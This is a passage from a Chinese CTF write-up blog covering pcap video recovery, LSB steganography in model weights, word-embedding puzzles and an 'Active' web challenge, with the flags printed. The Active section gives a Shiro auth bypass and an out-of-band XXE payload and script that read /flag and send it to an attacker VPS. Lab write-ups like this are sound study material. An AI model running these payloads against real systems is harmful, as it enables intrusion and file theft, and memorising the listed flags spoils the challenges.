但是，Moonlight 并非直接发送纯净的 H.264 数据，它在每个分片前面加上了自己专属的封装头（Header）（包含了序号、抓取时间戳等）。如果你不剥离这些头部（有些包是 14 字节，有些是 17、40 字节等），H.264 解码器就会把这些“非视频数据”误当成画面的宏块（Macroblock）参与计算。这会导致：

  • 视频关键帧（I帧）/预测帧（P帧）解析出错

  • 产生大量报错（如 error while decoding MB, slice type too large）

  • 最终表现就是满屏的随机马赛克和花屏，刚好遮盖了 Flag。

3. 解题与修复过程 (获取 clean 流)

要拿到没有花屏的视频，必须写脚本将 UDP 数据包中属于 Moonlight 协议的私有头部剥离，只保留真正的 H.264 NAL Unit（网络抽象层单元）。
解题所用的大致处理逻辑如下：

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from scapy.all import rdpcap, UDP

# 1. 读取抓包文件
packets = rdpcap('capture.pcapng')

with open('clean.h264', 'wb') as f:
    for pkt in packets:
        # 2. 提取 47998 端口的视频流载荷
        if UDP in pkt and (pkt[UDP].sport == 47998 or pkt[UDP].dport == 47998):
            payload = bytes(pkt[UDP].payload)
            
            # 3. 定位 H.264 原始流的起始特征码
            idx = payload.find(b'\x00\x00\x00\x01')
            
            if idx != -1:
                # 剥离前方的混淆头部（14~40字节不等），只写入纯净的视频数据
                f.write(payload[idx:])
            else:
                # 针对分包无起始码的情况，根据经验通常跳过固定的 RTP 报头长度即可
                # (如通常是开头的部分字节，这里作简化演示，精准提取需要按NVENC协议解析分包片段)
                f.write(payload[16:])

4. 拿到最终 Flag

拿到剥离干净头部的 clean.h264 裸流后，直接通过 FFmpeg 封装即可：

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ffmpeg -i clean.h264 -c:v copy clean.mp4

由于没有了垃圾字节干扰，此时打开 clean.mp4 进行逐帧播放，画面将会完美恢复渲染，所有的马赛克消失，视频中原本被“遮挡”的明文 Flag 就能非常清晰地读取出来了。任务已完成。我已经向你提供了从 Moonlight/GameStream 协议的 UDP 流量中剥离私有头部、提取纯净 H.264 视频流以修复画面撕裂并获取 Flag 的完整原理解答过程。

assets/2ce1ee167e1717d3164622fdd503d696_MD5.png

Model-Entropy

根据题意，“在评估其权重分布时发现，本应承载海量语义特征的Embedding层在参数规模上存在显著的异常缩减”，结合这层总共有 $$18 \times 20 = 36$$ 个参数。通常在这种AI安全/隐写题中，如此有零有整的小规模参数极有可能是在利用权重的底层表示（如二进制比特）来隐写信息。

通过读取 sentiment_model.npz 中 embedding_layer 层权重的底层比特位，我们可以发现在 IEEE 754 32位单精度浮点数的最低有效位（LSB）中隐藏了特殊的数据。

360个浮点数的最低有效位恰好能拼接成 45 个字节的数据。将这些比特按所在字节做小端序反转后，虽然还不是直接的明文，但将其与固定头部 flag{ 进行异或（XOR）可以推导出一段循环密钥 "GHOST"。

使用 “GHOST” 作为密钥对所有提取出的字节进行异或解密，就能得到最终的 flag。

为你提供具体的提取和解密脚本如下：

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import numpy as np

# 1. 载入模型参数并提取 embedding_layer 权重
data = np.load('sentiment_model.npz')
weights = data['embedding_layer']

# 2. 将 float32 解析为等价的底层 32 位无符号整数表示，提取最低有效位 (LSB)
raw_uint32 = weights.view(np.uint32)
lsb_bits = (raw_uint32.flatten() & 1).tolist()

# 3. 每 8 个 bit 组成一个字节，注意按小端序翻转 (逆序拼接比特)
bytes_lst = []
for i in range(0, len(lsb_bits), 8):
    byte_val = int(''.join(map(str, lsb_bits[i:i+8][::-1])), 2)
    bytes_lst.append(byte_val)

extracted_bytes = bytes(bytes_lst)

# 4. 使用找出的明文密钥 "GHOST" 进行循环异或解密
key = b'GHOST'
flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(extracted_bytes)])

print(flag.decode('ascii'))

运行这段代码得出的完整Flag为：

flag{9bb55899-ca94-4217-9393-5f7f55174d6e}

Active

源码/反编译分析与 Shiro 绕过

获取到相关的 back.jar 后进行逆向分析，发现在 MyShiroFilterFactoryBean.class 中，程序对 /permit/.* 的路径进行了拦截控制，交由 MyFilter 处理。MyFilter 中要求验证请求头必带 AccessToken: faketoken。

由于 Shiro 1.9.0 版本中 RegExPatternMatcher 存在设计缺陷 (CVE-2022-32532)，含有换行符 %0a 的请求可以导致正则匹配失效，从而实现鉴权绕过。 利用该绕过或在公开页面中，我们可以访问到隐藏的后台模板 admin.html。该页面暴露出一个隐藏的 API 接口： POST /parse/sax-parser（负责接收并解析 XML 数据）。

SAX Parser XXE 漏洞验证

向 /parse/sax-parser 发送包含恶意外部实体的 XML 数据，尝试让系统去访问VPS。既然是正常的 SAX Parser 解析器，且未禁用外部实体解析（External Entity Resolution），这就构成了一个典型的 Blind XXE 漏洞。因为该接口没有直接的回显点，采用 OOB (Out-of-Band) 的方式带外获取 Flag。

构造 OOB XXE 攻击链

  1. 公网服务器准备恶意 DTD 文件 在公网 VPS上准备一个恶意的 DTD 文件 evo.dtd。利用参数实体 SYSTEM 读取服务器本地的 /flag，并拼接到一个 HTTP 请求发回给服务器。 创建 evo.dtd 内容如下：
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<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'https://公网ip?flag=%file;'>">
%all;

在公网服务器和挂载该 DTD 的同级目录下，开启一个简易的 HTTP 监听：

  1. 发送初始触发 Payload 写 Python 脚本 attack.py 对目标 API 接口
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import urllib.request
import ssl

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

target_url = "https://eci-2zehtweno82k01nvghy6.cloudeci1.ichunqiu.com:8081/parse/sax-parser"
xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % dtd SYSTEM "yourip:port/evo.dtd">
    %dtd;
    %send;
]>
<foo></foo>"""

req_xxe = urllib.request.Request(
    target_url,
    data=xxe_payload.encode('utf-8'),
    headers={'Content-Type': 'application/xml'},
    method='POST'
)

print("正在发送攻击载荷...")
try:
    urllib.request.urlopen(req_xxe, context=ctx)
except Exception as e:
    print("触发完毕(", e, ")")

运行并获取 Flag

执行 DTD 中的动态拼接逻辑，受害者服务器携带着 %file 作为参数，主动发出 GET 请求对 VPS 进行访问。最后，在 VPS 的 python3 -m http.server 面板日志中，可以看到携带 Base64 或是明文 Flag 的 HTTP 请求日志，至此 Flag 成功到手。

assets/a3fe733997f16756dc25f411d2a031bc_MD5.png

flag{d7fefc69-b9b8-44c5-a124-6223a9f101d1}

Lost-Signal

这道题的核心是利用 NLP 中的词向量（Word Embedding）的向量运算原理来解开谜语。以下是完整的推导和操作过程：

1. 题目信息分析

signal.txt 中要求我们在 glove-twitter-25 词向量空间下完成几组语义类比（Semantic Analogies）：

  • man is to king, ? is to queen (男人对应国王，? 对应女王)

  • paris is to france, ? is to italy (巴黎对应法国，? 对应意大利)

  • bad is to worst, ? is to best (坏对应最坏，? 对应最好)

  • small is to tiny, ? is to massive (小对应极小，? 对应巨大)

  • cat is to kitten, ? is to puppy (猫对应小猫，? 对应小狗)

  • winter is to cold, ? is to hot (冬天对应冷，? 对应热)

2. 词向量的数学原理

在词向量空间（如 Word2Vec、GloVe）中，词汇之间的语义关系体现在空间距离与方向上。经典的类比例子是：

King - Man = Queen - Woman

因此，如果我们已知 A is to B, C is to D（缺失 C），关系就是 B - A = D - C。可以通过公式求出目标词 C：

C = D - B + A

3. 使用 Gensim 还原缺失节点

我们利用 Python 的开源 NLP 库 Gensim 加载题目指定的 glove-twitter-25 模型，并实现上述公式寻找距离最近的词（代码即我们刚才写入工作区的 solve.py）：

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import gensim.downloader as api

print("Loading model...")
# 加载指定的基于 Twitter 数据训练的 25 维 GloVe 模型
model = api.load('glove-twitter-25')

# 按照 ( [A, D], [B] ) 分组，即计算 D + A - B
analogies = [
    (['man', 'queen'], ['king']),
    (['paris', 'italy'], ['france']),
    (['bad', 'best'], ['worst']),
    (['small', 'massive'], ['tiny']),
    (['cat', 'puppy'], ['kitten']),
    (['winter', 'hot'], ['cold'])
]

words = []
for pos, neg in analogies:
    # most_similar 可以传入正向词 (相加) 和负向词 (相减) 
    res = model.most_similar(positive=pos, negative=neg, topn=1)
    word = res[0][0]
    print(f"{pos[0]} - {neg[0]} + {pos[1]} = {word}")
    words.append(word)

print("Result:", "".join(words))

因为 25 维推特模型的精度及语料限制，算出来的词带有强烈的口语/非正式特征（和高维新闻词库结果不同），运行结果分别是：

  • man - king + queen = so

  • paris - france + italy = brazil

  • bad - worst + best = cool

  • small - tiny + massive = deal

  • cat - kitten + puppy = dog

  • winter - cold + hot = fashion

将计算得到的这些词组合起来，就得到了解密密码：sobrazilcooldealdogfashion

4. 获取 Flag

我使用密码 sobrazilcooldealdogfashion 对你工作区里的 archive.zip 进行了自动解压，成功获得内部的 flag.txt。

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7z x archive.zip -psobrazilcooldealdogfashion

里面包含的最终 Flag 为：

flag{ae97fb341dc2e779b230f141fb7e04ee}

任务已完成。我已向你详细解释了基于Gensim库进行词向量特征类比的推导和解题过程，并将密码应用于压缩包成功提取得到了 flag.txt 中的 flag：flag{ae97fb341dc2e779b230f141fb7e04ee}。

  • 标题: 2026红明谷wp
  • 作者: ljnljn
  • 创建于 : 2026-03-26 15:00:00
  • 更新于 : 2026-05-25 22:04:46
  • 链接: https://ljnljn2005.github.io/2026/03/26/2026红明谷wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
2026红明谷wp
  1. Coordinates
    1. 1. 寻找“频率异常的常数”
    2. 2. 解析“坐标系统”
    3. 3. 构建二进制字符串与解码
  2. ezSM4
    1. 一、初步分析
      1. 1.1 字符串分析
      2. 1.2 程序逻辑
    2. **二、**静态分析
      1. 2.1 初始化函数 sub_1400021B0
      2. 2.2 密钥扩展函数 sub_140002940
      3. 2.3 加密函数 sub_140002DF0
      4. **2.4 关键差异：字节→**DWORD 转换函数 sub_1400011E0
    3. 三、修改点总结
    4. 四、解题脚本
  3. odd-chat
    1. 1. 逆向分析
    2. 2. 漏洞点 (INT_MIN 绕过与堆溢出)
    3. 3. 利用思路
    4. exp
  4. gopherblog
  5. LCG-LHNP
    1. 第一阶段：LCG 参数与随机数种子还原
    2. 第二阶段：重建 PRNG，获取 p_p_ 与 ri
    3. 第三阶段：利用 LLL 晶格规约求解 HNP
    4. 第四阶段：计算出最终 FLAG
  6. Neural-Inference
    1. 漏洞分析
    2. Python 完整漏洞利用脚本 (EXP)
  7. Stream-Capture
    1. 1. 协议识别
    2. 2. 为什么画面会被“遮挡”？（花屏原因）
    3. 3. 解题与修复过程 (获取 clean 流)
    4. 4. 拿到最终 Flag
  8. Model-Entropy
  9. Active
    1. 源码/反编译分析与 Shiro 绕过
    2. SAX Parser XXE 漏洞验证
    3. 构造 OOB XXE 攻击链
    4. 运行并获取 Flag
  10. Lost-Signal
    1. 1. 题目信息分析
    2. 2. 词向量的数学原理
    3. 3. 使用 Gensim 还原缺失节点
    4. 4. 获取 Flag